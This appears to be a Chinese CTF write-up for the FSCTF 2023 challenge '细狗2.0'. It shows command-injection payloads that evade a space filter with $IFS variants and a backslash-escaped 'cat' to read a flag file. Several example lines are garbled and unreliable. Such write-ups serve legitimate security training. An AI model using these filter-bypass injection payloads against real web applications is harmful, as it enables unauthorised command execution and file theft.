当前位置: 首页 > news >正文

[FSCTF 2023]细狗2.0

尝试输入cat /f*

输入;ls /     过滤了空格

输入 ;ls 

看到2个php,  空格绕过可以用注释替换空格

;ca\t/*123*/f* 发现不可以,看题解后发现使用${IFS}绕过

$IFS代替空格;$IFS、$IFS2、${IFS}、$IFS$9

Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)

?cmd=lsSlFS-l单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名。

?cmd=ls${lFS}-1剁FSS9-后面加个$与{类似,起截断作用,$9是当前系统shel进程第九个参数持有者始终为空字符串。

?cmd=ls$lFs$9-1 (这里1到9应该都可以) 

这道题输入;ca\t$IFS/f* 可得flag

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 力扣热题100_二叉树_94_二叉树的中序遍历
  • C语言中常用的函数
  • python自动化笔记:excel文件处理及日志收集
  • 列式数据库(HBase) 中实现表与表的关联
  • 区块链(Blockchain)
  • 【代码随想录】长度最小的子数组——滑动窗口
  • 第二十一节、敌人追击状态的转换
  • 【K8S】K8S架构及相关组件
  • PHP反序列化POP链构造:理解与利用
  • IT运维岗适用的6本证书
  • 如何在前后端分离项目中,使用Spring Security
  • 英特尔凌动® P5300 和 P5700 处理器使企业能够优化现代网络基础架构、安全加速器和存储设备之间的性能和成本平衡。
  • leetcode:1822. 数组元素积的符号(python3解法)
  • JMeter 性能测试工具入门与实践
  • 高翔【自动驾驶与机器人中的SLAM技术】学习笔记(七)卡尔曼滤波器三:卡尔曼滤波器公式推导【转载】
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • C语言笔记(第一章:C语言编程)
  • es6要点
  • exports和module.exports
  • Java应用性能调优
  • JSDuck 与 AngularJS 融合技巧
  • Just for fun——迅速写完快速排序
  • Mybatis初体验
  • Python利用正则抓取网页内容保存到本地
  • Python连接Oracle
  • spring + angular 实现导出excel
  • SSH 免密登录
  • XML已死 ?
  • 视频flv转mp4最快的几种方法(就是不用格式工厂)
  • 微信开放平台全网发布【失败】的几点排查方法
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • Python 之网络式编程
  • 测评:对于写作的人来说,Markdown是你最好的朋友 ...
  • #laravel部署安装报错loadFactoriesFrom是undefined method #
  • #Z0458. 树的中心2
  • (35)远程识别(又称无人机识别)(二)
  • (js)循环条件满足时终止循环
  • (Matlab)遗传算法优化的BP神经网络实现回归预测
  • (php伪随机数生成)[GWCTF 2019]枯燥的抽奖
  • (剑指Offer)面试题34:丑数
  • (六)vue-router+UI组件库
  • (五)c52学习之旅-静态数码管
  • .Net Core webapi RestFul 统一接口数据返回格式
  • /usr/bin/env: node: No such file or directory
  • [ 代码审计篇 ] 代码审计案例详解(一) SQL注入代码审计案例
  • [000-01-011].第2节:持久层方案的对比
  • [1] 平面(Plane)图形的生成算法
  • [2019红帽杯]Snake
  • [AIGC] Kong:一个强大的 API 网关和服务平台
  • [Android] Amazon 的 android 音视频开发文档
  • [Angular] 笔记 7:模块
  • [Angularjs]ng-select和ng-options
  • [BT]小迪安全2023学习笔记(第29天:Web攻防-SQL注入)
  • [C/C++]数据结构 深入挖掘环形链表问题
  • [C++初阶]string类的详解